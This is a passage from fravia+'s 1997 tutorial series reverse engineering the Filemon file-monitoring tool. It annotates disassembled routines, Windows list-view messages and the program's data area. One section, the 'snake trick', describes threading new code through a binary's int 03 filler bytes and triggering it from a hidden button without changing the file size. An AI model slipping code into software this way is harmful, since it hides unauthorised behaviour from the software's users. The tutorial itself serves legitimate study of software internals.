:004018DA 396C2458 cmp [esp + 58], ebp ;else check if
[sp+58]=bp
:004018DE 7403 je 004018E3 ;and exit little
loop if it is
:004018E0 4F dec edi ;edi lowered
:004018E1 79DC jns 004018BF ;little loop

:exit little loop


:004018E3 83FFFF cmp edi, FFFFFFFF
:004018E6 0F85FBFEFFFF jne 004017E7 ;big verify if not
:004018EC B801000000 mov eax, 1 ;RETURN TRUE if
edi=FFFFFFFF
:004018F1 5D pop ebp
:004018F2 5F pop edi
:004018F3 5E pop esi
:004018F4 5B pop ebx
:004018F5 81C4A0000000 add esp, A0
:004018FB C3 ret
That was a big chunk of code! And we are not yet finished... but first let's have a closer look at one
of our most interesting "findings":

http://www.instinct.org/fravia/filemon2.htm (9 of 21) [2/7/2001 3:20:06 PM]


filemon2

:004017FA 68A0944000 push 004094A0 ;address of string


buffer
As you'll learn with practice, all targets utilise part of their own data area as a "buffer" for strings,
a sort of "blackboard" in order to prepare, update, modify and destroy string messages. Once you
find it you may add as a tag "Strings_buffer", for instance, in the whole disassembled listing... In
our target there are 16 locations... this helps a lot, as you'll see...
Exiting from the "big verify" above we land here, smack in the middle of a forest of switches:

:process block
:004018FC 85DB test ebx, ebx ;SWITCH
ebx=0?
:004018FE 7E3B jle 0040193B ;go to next
block if le 0
:00401900 8B442460 mov eax, [esp + 60] ;get next
Oemstring
:00401904 803800 cmp byte ptr [eax], 00 ;finish
Oemstring?
:00401907 7432 je 0040193B ;go to next
block if so
:00401909 68A0944000 push 94A0=Strings_buffer
;translate here
:0040190E 8B2DB0B24400 mov ebp, [0044B2B0] ;OemToChar
address
:00401914 50 push eax ;push
Oemstring
:00401915 FFD5 call ebp ;call
OemToChar
:00401917 C744241801000000 mov [esp + 18], 1 ;PARAMETER 1
(PROCESS)
:0040191F C7442424A0944000 mov [esp + 24], 94A0=Strings_buffer
:00401927 8D4C2410 lea ecx, [esp + 10]
:0040192B 51 push ecx
:0040192C 57 push edi
:0040192D 682E100000 push 102E ;message 102E
(1=ROCESS)
:00401932 56 push esi
:00401933 FF15D8B24400 Call dword ptr [0044B2D8]
;USER32.SendMessage_102E
:00401939 EB06 jmp 00401941 ;continue

:falls from process_block


:0040193B 8B2DB0B24400 mov ebp, [0044B2B0] ;must have

http://www.instinct.org/fravia/filemon2.htm (10 of 21) [2/7/2001 3:20:06 PM]


filemon2

OemToChar address

:continue_request_block
:00401941 83FB01 cmp ebx, 1 ;switch
ebx=1
:00401944 7E33 jle 00401979 ;next
block if le 1
:00401946 8B442464 mov eax, [esp + 64] ;get
Oemstring
:0040194A 803800 cmp byte ptr [eax], 00 ;finish
Oemstring?
:0040194D 742A je 00401979 ;next
block if so
:0040194F 68A0944000 push
94A0=Strings_buffer;traslate here
:00401954 50 push eax ;push
Oemstring
:00401955 FFD5 call ebp
;OemToChar
:00401957 C744241802000000 mov [esp + 18], 2 ;PARAMETER 2
(REQUEST)
:0040195F C7442424A0944000 mov [esp + 24],
94A0=DataAreaStrings
:00401967 8D442410 lea eax, [esp + 10]
:0040196B 50 push eax
:0040196C 57 push edi
:0040196D 682E100000 push 102E ;message
102E (2=REQUEST)
:00401972 56 push esi
:00401973 FF15D8B24400 Call dword ptr [0044B2D8]
;USER32.SendMessage_102E
Well, you've seen already two of the switch blocks, there are three more, and they are all the
same... therefore I'll print below only the first, the relevant and the last isntruction of each one of
them...

:continue_path_block
:00401979 83FB03 cmp ebx, 3 ;switch ebx=3?
See above comments
...
:0040198F C744241803000000 mov [esp + 18], 3 ;PARAMETER 3
(PATH)
...

http://www.instinct.org/fravia/filemon2.htm (11 of 21) [2/7/2001 3:20:06 PM]


filemon2

:004019AB FF15D8B24400 Call dword ptr [0044B2D8]


;USER32.SendMessage_1025

:continue_result_block
:004019B1 83FB02 cmp ebx, 2 ;switch ebx=2? See
above comments
...
:004019C7 C744241804000000 mov [esp + 18], 4 ;PARAMTER 4
(RESULT)
...
:004019E3 FF15D8B24400 call dword ptr [0044B2D8]
;USER32.SendMessage_1025

:continue_block_other
:004019E9 83FB03 cmp ebx, 3 ;switch ebx=3? See above
comments
...
:004019FF C744241805000000 mov [esp + 18], 5 ;PARAMETER 5
(OTHER)
...
:00401A1B FF15D8B24400 Call dword ptr [0044B2D8]
;USER32.SendMessage_1025

:continue from block_other


:00401A21 B801000000 mov eax, 1 ;RETURN value=TRUE
:00401A26 5D pop ebp ;popall
:00401A27 5F pop edi
:00401A28 5E pop esi
:00401A29 5B pop ebx
:00401A2A 81C4A0000000 add esp, A0 ;stack adjust
:00401A30 C3 ret ;end of "row"
So, what's happening here? Let's THINK a little... this is the most important "visualisation"
function of our target... it is here that the target gets the data from the virtual device and through
Message 1025 (which is SetItemText) adds various "rows" ("items") to the main activity
window...
Well, this was the "gut" of our program... the Filevxd.vxd intercepted operations have been
"translated" into strings on 5 different columns: Process, Request, Path, Result and Other. Note
that after having done this we will return with one "written row", ready for the next one.

Yes... but return WHERE? Who called List_Append? Let's have a look...
[1790-1A30]:List_Append... Therefore let's look who has called 1790, here you are:
:00401AFB E890FCFFFF call 00401790List_Append

http://www.instinct.org/fravia/filemon2.htm (12 of 21) [2/7/2001 3:20:06 PM]


filemon2

This is the only call to List_Append inside our target, and it comes from the NEXT routine, which
starts at 1A40. We will examine it very soon, but what about the big MainWndProc?

MainWndProc did not disappear!


Let's go back to MainWndProc for a moment... you'll have noticed that we have reversed "Split"
and "List_Append"... What about "MainWndProc"... she should come now, following the
Location_List of "called" procedures that we have seen at the beginning... indeed! MainWndProc
starts at 1190, as we have seen in the first part of this essay (through the WNDCLASS trick), as a
matter of fact this procedure does not seem to be "called" by anybody at all:

:0040118D CC int 03 ;filler: compiler must reach a


correct location (90)
:0040118E CC int 03 ;filler: compiler must reach a
correct location (90)
:0040118F CC int 03 ;filler: compiler must reach a
correct location (90)
:00401190 81EC44010000 sub esp, 144 ; THIS IS MainWndProc
start!
:00401196 53 push ebx
:00401197 56 push esi
:00401198 8BB42454010000 mov esi, [esp + 154]
:0040119F 57 push edi
:004011A0 83FE0F cmp esi, F
...

The filler using, "snake" trick


All these int03 fillers, disseminated inside compiled code, can be very useful for "patching" other
targets... say you want to add to a target a completely new function WITHOUT modifying its size
(which is at times pretty important for applied reverse engineering :-)
Let's imagine that the function you have written is, say, 200 bytes long (which is quite a lot for a
tight code function written in assembler)... ok, now imagine that you modify the little "about
window" of your target, which usually has only a MB_OK button, adding a cancel button, or
something more hidden, which WILL TRIGGER your completely new function, that you have
"spread" along the many int03 "nuggets" of the program. Your function will run like a snake
inside the code of your target, where you'll have substituted many "CC" instructions with your
function's ones... something like Inst1, Ints2, Inst3, jmpInst4, Inst4, Inst5, Inst6, JmpInst7,
Inst7...Inst197, JmpInst19A, Inst19A, ret... You dig it?

We could have found the beginning of MainWndProc also with a simpler method: checking THE
END of the routines we have already investigated... if you remember the first part of this essay,
InitInstance terminated with

http://www.instinct.org/fravia/filemon2.htm (13 of 21) [2/7/2001 3:20:06 PM]


filemon2

UpdateWindow(hWndMain);
return hWndMain;
which translates into:

UpdateWindow(hWndMain);
:00401182 56 push esi ; hWndMain (handle was in esi)
:00401183 FF15F0B24400 Call dword ptr [0044B2F0]
;USER32.UpdateWindow, Ord:024Fh
:00401189 8BC6 mov eax, esi ;return to WinMain with
hWndMain in eax
:0040118B 5E pop esi ;let's have the old esi back
:0040118C C3 ret
And, as you can see, the code that immediately follows (after three "CC") is, as it is logical to
expect and as the information from WNDCLASS has already told us, the beginning of
MainWndProc, which is "automatically" (and logically) initiated once the various InitInstance
create, show and update window procedures have terminated...
Have windows... program may start!

Alas we are not yet ready for the reverse engineering of MainWndProc. We need some more
"muscles" first. Let's go on with the function which follows (and calls) List_Append... we'll come
back to MainWndProc don't worry: you'll master this application like nobody else!

How to sniff main functions (as opposed to routines)


We have seen how the Split function began at 1750 ending at 1781, and the List_Append function,
began at 1790 ending at 1A30. Since "good" Address 1A30 is already taken by List_Append's last
ret instruction, and since the compiler needs a "good" starting location for the next function, the
compiler stuffs again a lot of (eventually useful for us) int 03 interrupts inside the code of our
target, until the next "good" location:

:00401A40 8B44240C mov eax, [esp + 0C]


You know already enough to grasp immediately that this is a function, not a "lower" routine: it
gets in ax one of the passed parameters as first priority in order to test it... "lower" routines usually
do not recover immediately passed parameter... they push values, or jump straight away, or
compare flags, or perform other tasks... studying the beginning of routines you'll quickly develop
the right "feeling" for the important ones.
You'll know that you have to do with an "important" function (as opposed to a "lower" routine)
even if you don't understand WHAT the hell it does :-)
Let's recall the various beginnings of the functions we have reversed until now:

http://www.instinct.org/fravia/filemon2.htm (14 of 21) [2/7/2001 3:20:06 PM]


filemon2

:00401000 8B442408 mov eax, [esp + 08] Abort (get second


par)
:00401020 83EC1C sub esp, 0000001C (WinMain)
:004010B0 8B442404 mov eax, [esp + 04] InitApplication
(get second par)
:00401130 8B442404 mov eax, [esp + 04] InitInstance (get
second par)
:00401190 81EC44010000 sub esp, 00000144 (WinMainProc)
:00401750 8B442404 mov eax, [esp + 04] Split (get second
par)
:00401790 81ECA0000000 sub esp, 000000A0 List_Append 1st
line, (shuffle)
:00401796 8D442450 lea eax, [esp + 50] 2nd
line, (get par)
Well, with the exceptions of the two "Main" procedures of our target, ALL OTHER FUNCTIONS
have as first (or second) instruction a

mov eax, [esp + nn]


instruction... and the "nn" location to be added to esp can give you often as well, by the way, an
idea of HOW MANY arguments is the unknown function expecting...

Let's have a look at the next function after List_Append, it's of course the "UpdateStatistics"
function, but ignore the C source code alone for a while, just follow the disassembled code... I'll
keep your hand:

The UpdateStatistics function

:00401A40 8B44240C mov eax, [esp + 0C] ;get Main_param


(third one)
:00401A44 53 push ebx ;save bx
:00401A45 56 push esi ;save si
:00401A46 85C0 test eax, eax ;Main_param=0?
:00401A48 57 push edi ;save di
:00401A49 55 push ebp ;save bp
:00401A4A 7511 jne 00401A5D ;have Main_param,
let's go on
:00401A4C 833DB496400006 cmp dword ptr [004096B4], 6 ;is
[96B4]<6? :00401A53 0F82E3000000 jb 00401B3C ;param="0" and
[96B4]<6: ret :00401A59 85C0 test eax, eax ;[96B4]>6 Main_param
sure zero?

http://www.instinct.org/fravia/filemon2.htm (15 of 21) [2/7/2001 3:20:06 PM]


filemon2

:00401A5B 7468 je 00401AC5 ;Main_param zero


but [96B4]>6

:Have Main_Param, let's go on


:00401A5D 8B442414 mov eax, [esp + 14] ;get hWnd
:00401A61 50 push eax ;hWnd for
all mouse input
:00401A62 FF15B4B24400 Call dword ptr [0044B2B4]
;USER32.SetCapture (hWnd)
:00401A68 8B0DB0964000 ** mov ecx, [004096B0] ;get parameter
for next call
:00401A6E 8B3DB8B24400 ** mov edi, [0044B2B8] ;get next call
name
:00401A74 51 ** push ecx ;push handle of
cursor
:00401A75 FFD7 ** call edi ;Call [0044B2B8]
;USER32.SetCursorA

The "indirect function call" trick


Watch the typical construction above (the four lines with **)... every time the programmer builds
an own "homemade" function (here hSaveCursor), the compiler will resolve it like that.
The four lines above correspond to hSaveCursor = SetCursor(hHourGlass); but -alas- you'll not
find, in your disassembled dead listing, the useful tag
:00401A75 FF15B8B24400 Call dword ptr [0044B2B8] ;USER32.SetCursorA... you'll only have
a forsaken line
:00401A75 FFD7 call edi... it's up to you to "solve" it (which is easy, given the corrispondence
between 44B2B8 and SetCursorA :-)
Let's go on

:00401A77 8B742418 mov esi, [esp + 18] ;get hWnd for


next call
:00401A7B 6A00 push 00000000 ;push
rightmost NULL
:00401A7D 6A00 push 00000000 ;push next
NULL
:00401A7F 8B2DD8B24400 mov ebp, [0044B2D8] ;get real call
:00401A85 6804100000 push 00001004 ;push 1004
:00401A8A A3BC964000 mov [004096BC], eax ;save ax in
[96BC]
:00401A8F 56 push esi ;push leftmost parameter
:00401A90 FFD5 call ebp ;call ebp (si, 1004, 0,
0)

http://www.instinct.org/fravia/filemon2.htm (16 of 21) [2/7/2001 3:20:06 PM]


filemon2

This function is SendMessage, can you feel it? (If not ook inside your disassembled listing for
"44B2D8" :-) Therefore the above call corresponds to SendMessage(hwnd, 1004, NULL, NULL)

:00401A92 C6056C80400001 mov byte ptr [0040806C], 01


;[806CSEndMsg1008]=TRUE
:00401A99 85C0 test eax, eax ;if zero
returned
:00401A9B 7E11 jle 00401AAE ;don't
loop_SendMessage_1008
:00401A9D 8BD8 mov ebx, eax ;else get
counter

:loop_1A9F_call_SendMessage_1008
:00401A9F 6A00 push 00000000 ;since ebp has
not changed,
:00401AA1 6A00 push 00000000 ;we use it to
SendMessage
:00401AA3 6808100000 push 00001008 ;Number 1008
:00401AA8 56 push esi ;always to the
same window
:00401AA9 FFD5 call ebp ;call
SendMessage(hWnd,1008,NULL,NULL)
:00401AAB 4B dec ebx ;cnt--
:00401AAC 75F1 jne 00401A9F ;loop until cnt=0

:after_loop_1A9F_call_SendMessage_1008
:00401AAE C6056C80400000 mov byte ptr [0040806C], 00
;[806CSEndMsg1008]=FALSE
:00401AB5 A1BC964000 mov eax, [004096BC] ;Want my old ax
back
:00401ABA 50 push eax ;as parameter for
next call
:00401ABB FFD7 call edi ;call
SetCursorA(ax)
:00401ABD FF15C4B24400 Call dword ptr [0044B2C4]
;USER32.ReleaseCapture
:00401AC3 EB0A jmp 00401ACF ;continue without
updating

:From_entrance_if_Main_param=zero_but_[96B4]>6
:00401AC5 8B742418 mov esi, [esp + 18] ;update esi
:00401AC9 8B2DD8B24400 mov ebp, [0044B2D8] ;ebp must
point to SendMessage

http://www.instinct.org/fravia/filemon2.htm (17 of 21) [2/7/2001 3:20:06 PM]


filemon2

:continue_from_SendMessage_1008_loop
:00401ACF BBF0994000 mov ebx, 004099F0 ;pointer to the data
area
:00401AD4 A1B4964000 mov eax, [004096B4] ;get this value in
ax
:00401AD9 03C3 add eax, ebx ;check and
:00401ADB 3BC3 cmp eax, ebx ;if [4096B4]=0
:00401ADD 7632 jbe 00401B11 ;do not
loop_1ADF_List_Append

:loop_1ADF_List_Append
:00401ADF 8D5304 lea edx, [ebx+04] ;get parameter
:00401AE2 B9FFFFFFFF mov ecx, FFFFFFFF ;prepare counter
:00401AE7 8BFA mov edi, edx ;get correct value for scasb
:00401AE9 2BC0 sub eax, eax ;repnz condition
:00401AEB F2 repnz ;repeat while not equal
:00401AEC AE scasb ;this compare string operation
:00401AED 52 push edx ;parameter (char*line)
:00401AEE 8B03 mov eax, [ebx] ;get parameter (seg)
:00401AF0 F7D1 not ecx ;count how many scasb
:00401AF2 50 push eax ;parameter (seq)
:00401AF3 56 push esi ;parameter (hWndList)
:00401AF4 8D5C1904 lea ebx, [ecx + ebx + 04]
:00401AF8 8D79FF lea edi, [ecx-01]
:00401AFB E890FCFFFF call 00401790List_Append
:00401B00 83C40C add esp, 0000000C ;correct stack
:00401B03 A1B4964000 mov eax, [004096B4] ;check [96B4]
:00401B08 05F0994000 add eax, 004099F0 ;add to it "DATAbottom"
:00401B0D 3BC3 cmp eax, ebx ;check against bx and if
lower
:00401B0F 77CE ja 00401ADF ;loop1ADF ;exit loop_List_Append

:Exit_loop_List_Append
:00401B11 C705B496400000000000 mov dword ptr [004096B4], 0 ;zero
[96B4]location
:00401B1B 803D6880400000 cmp byte ptr [00408068], 00 ;is
[8068]=0?
:00401B22 7418 je 00401B3C ;return
if so
:00401B24 6A00 push 00000000 ;NULL for the
second call
:00401B26 6A00 push 00000000
:00401B28 6A00 push 00000000

http://www.instinct.org/fravia/filemon2.htm (18 of 21) [2/7/2001 3:20:06 PM]


filemon2

:00401B2A 6804100000 push 00001004


:00401B2F 56 push esi
:00401B30 FFD5 call ebp ;CALL
SendMessage(hWnd,1004,NULL,NULL)
:00401B32 48 dec eax ;result
value=resultvalue-1
:00401B33 50 push eax ;will be pushed
:00401B34 6813100000 push 00001013 ;along with
message 1013
:00401B39 56 push esi ;same hWnd of
course
:00401B3A FFD5 call ebp ;CALL
SendMessage(hWnd,1013,eax,NULL)

:return_home_Lassie
:00401B3C 5D pop ebp
:00401B3D 5F pop edi
:00401B3E 5E pop esi
:00401B3F 5B pop ebx
:00401B40 C3 ret
Well, what ARE actually these mysterious messages that we are continuously finding inside our
target?
What did we have until now? Let's see:

Message 1007 in List_Append at 183F


Message 1004 in List_Append at 18A5
Message 1005 in List_Append at 18CA
Message 102E in List_Append at 192D, 196D, 19A5, 19DD and 1A15
(and List_Append is called inside a loop of UpdateStatistics)
Message 1004 in UpdateStatistics at 1A85, 1B2A
Message 1008 in UpdateStatistics at 1AA3 (a loop)
Message 1013 in UpdateStatistics at 1B34
Since these messages are all correlated with the main window of our target, we would be well
advised to use as part of their new tags something like "Main_Wnd_Msg", or a similar name (at
least until we FIND OUT what's the real name of the main window of our target :-)
Basically the whole "spirit" of windows programming dwells inside such messages: any window
procedure must examine messages it receives from the system or from other windows, or from the
user, and determine what action, if any, to take
We must delve a little deeper inside Windows messages... here you go:
Window Messages

http://www.instinct.org/fravia/filemon2.htm (19 of 21) [2/7/2001 3:20:06 PM]


filemon2

A window message is a set of values that Windows sends to a window


procedure
as input or requesting the window to carry out some action.
Windows includes
a wide variety of messages that it (or any other application) can
send to a
window procedure. Most messages are sent to a window as a result
of a given
function being executed or as a result of input from the user.
Every message consists of four values: a handle that identifies
the window
(hWnd), a message identifier (msg), a 16-bit message-specific
value, and a
32-bit message-specific value. These values are passed as
individual parameters
to the window procedure. The window procedure then examines the
message
identifier to determine what response to make and how to interpret
the 16-
and 32-bit values.
Although Windows generates most messages, an application can
create its own
messages and place them in its own message queue or that of
another
application.
Seems like we are at a dead point of our cracking session... without knowing what these "private"
and "home-made" ID_ mean, we'll not figure them out...
And yet... let's THINK a little: When we have run our target we have SEEN what it does: it writes
in the main window all system activities... it get's them from its VXD driver, ok, we'll examine
that later on... but substantially it writes row after row of data inside the window, and it has an
"autoscroll" function to keep new added items visible, and a "clear display" option to delete all
items... mmm... one of the message must be Main_Window_Delete_Items... will it be the "1008"
one in the UpdateStatistics loop? (Yes! Have a look at the C source code of UpdateStatistics NOW
:-)
Hey, 42000 bytes, time to switch over to a new lesson!
(c) fravia+ 1997. All rights reserved.

You are deep inside fravia's page of reverse engineering, choose your way out:
filemon1 filemon3 filemon4 filemon5
homepage links anonymity +ORC students' essays tools cocktails
antismut search_forms mailFraVia
is reverse engineering legal?

http://www.instinct.org/fravia/filemon2.htm (20 of 21) [2/7/2001 3:20:06 PM]


filemon2

http://www.instinct.org/fravia/filemon2.htm (21 of 21) [2/7/2001 3:20:06 PM]


filemon3

How to reverse engineer a Windows 95 target


REVERSE ENGINEERING EXERCISES FOR THE MASSES - (5)
by fravia+ (MSRE), August 1997

(Part C: Filemon reversed - 07 August 1997)


Courtesy of Fravia's page of reverse engineering

Well, a very interesting essay... I wrote it myself! :-) This essay will be divided in four (or more)
parts:
A = Introduction to filemon
B = reverse engineering without source code
C = Filemon reversed
D = VXD vagaries and mysteries

Although already disponible, this essay is still under construction and will be modified and
ameliorated until the wording below will disappear (I reckon until mid-september)

UNDER CONSTRUCTION
REVERSE ENGINEERING EXERCISES FOR THE MASSES - (5)
How to reverse engineer a Windows 95 program
Filemon.exe Version 2
(Part C: Filemon discovered)
by Fravia (MSRE), August 1997

Well, in the first part of this essay we have got an "introduction" to the structure of filemon.exe, in
the second one we have reversed quite a lot of code without using the C source... let's finish our
job.
The remaining functions
We have closed the second part of this essay wondering about the identity of the messages that our
target uses in its ListAppend and UpdateStatistics functions.
UpdateStatistics began at 1A40... the next function begins at 1B50, let's have a look (of course
WITHOUT using the C source code). As you'll see, this function "prepares" the window used by
filemon for its activity with a CreateWindowEx function

http://www.instinct.org/fravia/filemon3.htm (1 of 22) [2/7/2001 3:20:15 PM]


filemon3

Called from 124A... that's MainWndProc, as we have seen


|
:00401B50 83EC30 sub esp, 00000030 ;correct stack
:00401B53 53 push ebx ;will pop
:00401B54 56 push esi ;will pop
:00401B55 57 push edi ;will pop
:00401B56 55 push ebp ;will pop
:00401B57 FF15C4B14400 Call dword ptr [0044B1C4]
COMCTL32:NoName0000, Ord:0011h
So, this is a "NoName" call without any parameter, since the preceding pushes will be popped at
end... sounds like an InitTask function..., may be the Initfunction for COMCTL32?... That is the
"common control" dll, the "Custom Controls Library" of Micro$oft

:00401B5D 8D442410 lea eax, [esp + 10] ;get rectangle


structure address
:00401B61 8B742444 mov esi, [esp + 44] ;hWnd for above
client coordinates
:00401B65 50 push eax ;address of rectangle
structure
:00401B66 56 push esi ;hWnd
:00401B67 FF15ACB24400 Call dword ptr [0044B2AC]
;USER32.GetClientRect
:00401B6D 6A00 push 00000000 ;lpvCreateParams
:00401B6F A1E8994000 mov eax, [004099E8] ;InitInstance
created mainwnd
:00401B74 50 push eax ;hInst, Identifies the
instance
:00401B75 68E8030000 push 000003E8 ;hMenu handle of Menu
:00401B7A 8B442428 mov eax, [esp + 28] ;get Height
:00401B7E 56 push esi ;hwndparent
:00401B7F 2B442424 sub eax, [esp + 24] ;adjust Height
:00401B83 50 push eax ;nHeight
:00401B84 8B44242C mov eax, [esp + 2C] ;get Width
:00401B88 2B442424 sub eax, [esp + 24] ;adjust it
:00401B8C 50 push eax ;nWidth
:00401B8D 6A00 push 00000000 ;y=0
:00401B8F 6A00 push 00000000 ;x=0
:00401B91 6801028050 push 50800201 ;WS_choice for window
(dwstyle)
:00401B96 686C814000 push 0040816C ;pointer to Null

http://www.instinct.org/fravia/filemon3.htm (2 of 22) [2/7/2001 3:20:15 PM]


filemon3

terminated name
:00401B9B 68C0814000 push 004081C0 ;"SysListView32"
:00401BA0 6A00 push 00000000 ;Style 0
:00401BA2 FF15E8B24400 Call dword ptr [0044B2E8]
;USER32.CreateWindowExA
The CreateWindowEx function creates an overlapped, pop-up, or child window with an extended
style; otherwise, this function is identical to the CreateWindow function.
HWND CreateWindowEx(dwExStyle, lpszClassName, lpszWindowName, dwStyle, x, y, nWidth,
nHeight, hwndParent, hmenu, hinst, lpvCreateParams).
The return value identifies the new window if the function is successful. Otherwise, it is NULL.

:00401BA8 8BD8 mov ebx, eax


:00401BAA 85DB test ebx, ebx ;was it null?
:00401BAC 750A jne 00401BB8 ;continue if Window
created
:00401BAE 33C0 xor eax, eax ;return value=FALSE
:00401BB0 5D pop ebp ;popall
:00401BB1 5F pop edi
:00401BB2 5E pop esi
:00401BB3 5B pop ebx
:00401BB4 83C430 add esp, 30 ;adjust stack
:00401BB7 C3 ret

: continue if Window created


:00401BB8 33ED xor ebp, ebp ;make sure bp=0
:00401BBA BF7C804000 mov edi, 0040807C ;"#"=0x23=35: first
*edi
:00401BBF 8D742420 lea esi, [esp + 20]
:00401BC3 896C2424 mov [esp + 24], ebp
:00401BC7 C74424200F000000 mov [esp + 20], F

:loop_1BCF_SendMessage_101B
:00401BCF 8B07 mov eax, [edi] ;get columnwidth in
ax
:00401BD1 8B4FFC mov ecx, [edi-04] ;get ecx
:00401BD4 896C2434 mov [esp + 34], ebp ;save ebp
:00401BD8 56 push esi ;push fourth param
:00401BD9 8944242C mov [esp + 2C], eax ;save width
:00401BDD 55 push ebp ;push third param
:00401BDE 894C2434 mov [esp + 34], ecx ;save ecx
:00401BE2 681B100000 push 0000101B ;push msg
:00401BE7 53 push ebx ;push hWnd

http://www.instinct.org/fravia/filemon3.htm (3 of 22) [2/7/2001 3:20:15 PM]


filemon3

:00401BE8 FF15D8B24400 Call dword ptr [0044B2D8] ;SendMessage


(bx,101B,ebp,esi)
:00401BEE 83F8FF cmp eax, FFFFFFFF ;is it -1?
:00401BF1 7416 je 00401C09 ;if ax=-1 exit loop
with FALSE
:00401BF3 83C70C add edi, C ;edi=edi+C get next
value for pointer
:00401BF6 45 inc ebp ;ebp++
:00401BF7 81FFC4804000 cmp edi, 004080C4 ;loop until no more
widths
:00401BFD 72D0 jb 00401BCF
;loop_1BCF_SEndMessage_101B

Sniffing the data area


This SendMessage_101B is BUILDING the activity window of our target, with the six
predetermined column width and column labels, which are taken from the data area.
This is the Time to have a first look at the DATA of our target (Data Offset = 6200, Data Size =
1600), the data begin at 4080000, and show some interesting findings in relation with the function
we are investigating:

408020 0000000000000000 ........


408028 0000000000000000 ........
408030 4F74686572000000 Other... ;these are the 6
408038 526573756C740000 Result.. ;"titles"
408040 5061746800000000 Path.... ;of the target's
408048 5265717565737400 Request. ;six columns
408050 50726F6365737300 Process. ;as you can
408058 2300000000000000 #....... ;see
408060 FFFFFFFF01000000 ........
408068 0100000000000000
408070 0000000000000000 ;this at 807C is
408078 5880400023000000 ....#... ;the first
408080 0000000050804000 ;width: 0x23=35
408088 6400000000000000 d....... ;next value: 0x64=100
408090 4880400078000000 .....x...;next: 0x78=120
408098 0000000040804000
4080A0 C800000000000000 !........;next: 0xC8=200
4080A8 3880400046000000 .....F...;next: 0x46=70
4080B0 0000000030804000
4080B8 AA00000000000000 @........;next: 0xAA=170
4080C0 66696C656D6F6E00 filemon.
4080C8 66696C656D6F6E43 filemonC

http://www.instinct.org/fravia/filemon3.htm (4 of 22) [2/7/2001 3:20:15 PM]


filemon3

4080D0 6C61737300000000 lass....


Obviously the headers for our window column are taken from these data, in reverse order, starting
from 408058 and ending at 408030 with a column without data... let's try to modify them... let's
write at 408058 "Num" instead of "#", and let's have a look at the result!
The columnwidth values have been set in the data area at a distance of 12 bytes one from another.
The loop above picks these values from the data area until 4080C0, wich is the area where we
have the "filemon" string for the ABORT function. You want to modify the widths of the
columns? Go ahead!
The return value of CreateWindowEx identifies the new window if the function is successful.
Otherwise, it is NULL.

: exit loop with CreateWindowEx return value


:00401BFF 8BC3 mov eax, ebx ;get return
value
:00401C01 5D pop ebp
:00401C02 5F pop edi
:00401C03 5E pop esi
:00401C04 5B pop ebx
:00401C05 83C430 add esp, 00000030
:00401C08 C3 ret

: exit loop with CreateWindowEx FALSE


:00401C09 33C0 xor eax, eax ;prepare FALSE return value
:00401C0B 5D pop ebp ;popall
:00401C0C 5F pop edi
:00401C0D 5E pop esi
:00401C0E 5B pop ebx
:00401C0F 83C430 add esp, 30 ;correct stack
:00401C12 C3 ret
Time to follow a little what happens with this value. The following code snippet is the part of
MainWndProc that calls and uses the above CreateMainWindow function

:00401244 56 push esi ;push hWnd parameter


:00401245 A3BC964000 mov [004096BC], eax ;save eax in 96BC
:0040124A E801090000 call 00401B50=CreateMainWindow (hWnd)
:0040124F 83C404 add esp, 4 ;correct stack
:00401252 A3B8964000 mov 96B8_SaveFileSecondPar, eax ;save
return value in 96B8
;wich happens to be our good old
SaveFileSecondPar
:00401257 85C0 test eax, eax ;check if it is FALSE

http://www.instinct.org/fravia/filemon3.htm (5 of 22) [2/7/2001 3:20:15 PM]


filemon3

:00401259 7511 jne 0040126C ;CREATED, continue


:0040125B 6A00 push 00000000 ;MB_OK
:0040125D 6A00 push 00000000 ;no title
:0040125F 6874814000 push 00408174 ;"List not created!"
:00401264 6A00 push 00000000 ;no parent window
:00401266 FF1590B24400 Call dword ptr
[0044B290];MessageBox(NULL,List..., NULL,OK)
:continue, create a filter, open the VXD device driver, let it
filter...
:0040126C 6870814000 push 00408170 ;"*"

The return of an old friend


Well, we see that the value is saved in 96B8... Most adequate! You would not have remembered it
any more, probably, if we had not performed our search and replace substitutions... we have seen
at the beginning of this essay two of these locations: This is the 96B8_SaveFileSecondPar!
Therefore the Savefile function is called with SaveFile(hWnd, hwndMain, BOOLEAN). Let's go
on with the next function. Since it is exactly the SaveFile one, that we found as first function and
that we'll now investigate:

The SaveFile function

:00401C20 81EC7C060000 sub esp, 0000067C


:00401C26 A06C814000 mov al, [0040816C] ;get value
al
:00401C2B 8844247C mov [esp + 7C], al ;save it
here
:00401C2F 53 push ebx ;will pop
:00401C30 56 push esi ;will pop
:00401C31 33C0 xor eax, eax ;zero ax
:00401C33 57 push edi ;will pop
:00401C34 B93F000000 mov ecx, 3F ;ecx=63
:00401C39 8DBC2489000000 lea edi, [esp + 89] ;get edi
:00401C40 55 push ebp ;will pop
:00401C41 F3 repz ;prepare string
:00401C42 AB stosd
:00401C43 66AB stosw
:00401C45 AA stosb
:00401C46 38842498060000 cmp [esp + 698], al ;Called as
Saveas (1)?
:00401C4D 753D jne 00401C8C ;get SaveData array
:00401C4F 380570804000 cmp [00408070], al ;Flagged as

http://www.instinct.org/fravia/filemon3.htm (6 of 22) [2/7/2001 3:20:15 PM]


filemon3

Save (0)?
:00401C55 7435 je 00401C8C ;get SaveData array
:00401C57 BFC0964000 mov edi, 004096C0 ;If not Saveas
:00401C5C B9FFFFFFFF mov ecx, FFFFFFFF ;prepare
counter
:00401C61 2BC0 sub eax, eax
:00401C63 F2 repnz ;prepare
string
:00401C64 AE scasb
:00401C65 F7D1 not ecx ;perform count
:00401C67 2BF9 sub edi, ecx
:00401C69 8BC1 mov eax, ecx
:00401C6B C1E902 shr ecx, 02
:00401C6E 8BF7 mov esi, edi
:00401C70 8DBC248C000000 lea edi, [esp + 0000008C]
:00401C77 F3 repz ;prepare
string
:00401C78 A5 movsd
:00401C79 8BC8 mov ecx, eax
:00401C7B 83E103 and ecx, 00000003
:00401C7E F3 repz ;prepare
string
:00401C7F A4 movsb
:00401C80 8BB42490060000 mov esi, [esp + 00000690]
:00401C87 E98D000000 jmp 00401D19 ;go after data
array fill

Useful Arrays
Well, a lot of repz/movs string functions... as usual in SaveFile operations, we'll find the ones for
the saveas operation below... now we will assist to the "filling" of a typical "ARRAY" block of
variables, you'll find many such blocks inside your targets, they can often give us valuable
indications about the variables used by a target... as usual many array elements are loaded with
NULL. Since we find below the function BOOL GetSaveFileName(lpofn) we know already that
we have to do with a OPENFILENAME FAR* lpofn; data structure, This array structure contains
information used to initialize the dialog box. When the GetSaveFileName function returns, this
structure will contain information about the user's file selection. This structure has most of the
time (programmers may obviously use, like here, different compilers or even "home-made"
variants) a structure similar to the following:

typedef struct tagOPENFILENAME { /* ofn */


